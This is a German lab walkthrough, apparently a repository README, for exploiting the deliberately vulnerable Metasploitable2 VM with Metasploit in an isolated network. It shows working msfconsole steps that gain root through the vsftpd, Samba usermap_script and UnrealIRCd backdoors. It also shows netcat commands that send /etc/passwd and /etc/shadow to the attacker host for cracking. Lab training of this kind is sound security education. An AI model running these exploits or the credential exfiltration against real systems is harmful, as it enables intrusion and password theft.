Ausnutzung von Metasploitable2 mit Metasploit: VSFTPD, Samba und mehr

Ein praktischer Leitfaden zur Ausnutzung mit dem Metasploit Framework – von der PostgreSQL-Datenbankeinrichtung und db_nmap-Scans über drei Root-Shells via vsftpd, Samba und UnrealIRCd bis zur Exfiltration von Anmeldedaten mit Netcat.

Übersicht

Dieses Repository dokumentiert einen vollständigen Metasploit-Einsatz gegen Metasploitable2 in einer isolierten VirtualBox-Umgebung. Behandelte Themen:

• Einrichtung von Metasploit mit einem PostgreSQL-Backend und Arbeitsbereichen
• Ausführen von db_nmap, um Scanergebnisse direkt in der Datenbank zu speichern
• Ausnutzen der vsftpd 2.3.4-Hintertür (Supply-Chain-Kompromittierung)
• Ausnutzen von Samba CVE-2007-2447 (usermap_script-Befehlseinschleusung)
• Exfiltrieren von /etc/passwd und /etc/shadow über Netcat und Zusammenführen mit unshadow
• Ausnutzen der UnrealIRCd 3.2.8.1-Hintertür

Laborumgebung

Netzwerk: 192.168.1.0/24 – vollständig isoliertes NAT-Netzwerk in VirtualBox.

Schritt 1 – Metasploit-Einrichtung und datenbankgestützter Scan

# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init

# Launch Metasploit
msfconsole

msf6> db_status           # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace           # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Zwei FTP-Server auf Metasploitable2 gefunden:

Schritt 2 – Ausnutzen von vsftpd 2.3.4 (Hintertür)

Im Juli 2011 wurde das vsftpd 2.3.4-Quellarchiv kompromittiert – eine Hintertür wurde eingefügt, die eine Root-Shell auf Port 6200 öffnet, wenn der FTP-Benutzername :) enthält. CVE: CVE-2011-2523. Code-Diff: https://pastebin.com/AetT9sS5

msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor  (rank: excellent)

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit

meterpreter> shell
whoami          # root
uname -a        # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Gehashte Passwörter extrahieren:

cat /etc/shadow | grep '$1'

Schritt 3 – Ausnutzen von Samba CVE-2007-2447

Samba-Versionen 3.0.0–3.0.25rc3 übergeben Shell-Metazeichen im Benutzernamenfeld direkt an /bin/sh über die Option username map script – bevor eine Authentifizierung stattfindet. Metasploitable2 läuft mit Samba 3.0.20-Debian.

msf6> search type:exploit name:samba
# ~7 exploits found

msf6> use exploit/multi/samba/usermap_script
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> exploit

whoami          # root
smbd --version  # Version 3.0.20-Debian

Netcat-Dateiexfiltration

Tab 2 – Kali (Empfang):

nc -l -p 4567 > passwd.txt

Tab 1 – Exploit-Shell (Sendend):

cat /etc/passwd | nc 192.168.1.4 4567

Wiederholen für /etc/shadow, dann zusammenführen:

unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt

Schritt 4 – Ausnutzen von UnrealIRCd 3.2.8.1 (Hintertür)

UnrealIRCd 3.2.8.1 wurde mit einer Hintertür im Quellcode ausgeliefert. Das Senden von AB an Port 6667 führt dazu, dass der Server jeden folgenden Befehl als root ausführt – keine Authentifizierung erforderlich.

msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit

whoami   # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Erforderliche Optionen:

Metasploit-Workflow auf einen Blick

db_nmap → hosts → services → search → use → info → show options → set → exploit → shell

Häufige Fehler

Wichtige Erkenntnisse

• vsftpd 2.3.4 und UnrealIRCd 3.2.8.1 waren beide Supply-Chain-Kompromittierungen – Hintertüren, die in offizielle Distributionsarchive eingebaut wurden
• CVE-2007-2447 in Samba wird vor der Authentifizierung ausgelöst – Patchen ist die einzige Gegenmaßnahme
• Netcat benötigt keine Abhängigkeiten und funktioniert für die Dateiexfiltration auf praktisch jedem Unix-System
• info vor exploit ist eine Gewohnheit, die sich lohnt – es zeigt CVE, betroffene Versionen und erforderliche Optionen an

🌐 Vernetzen Sie sich mit mir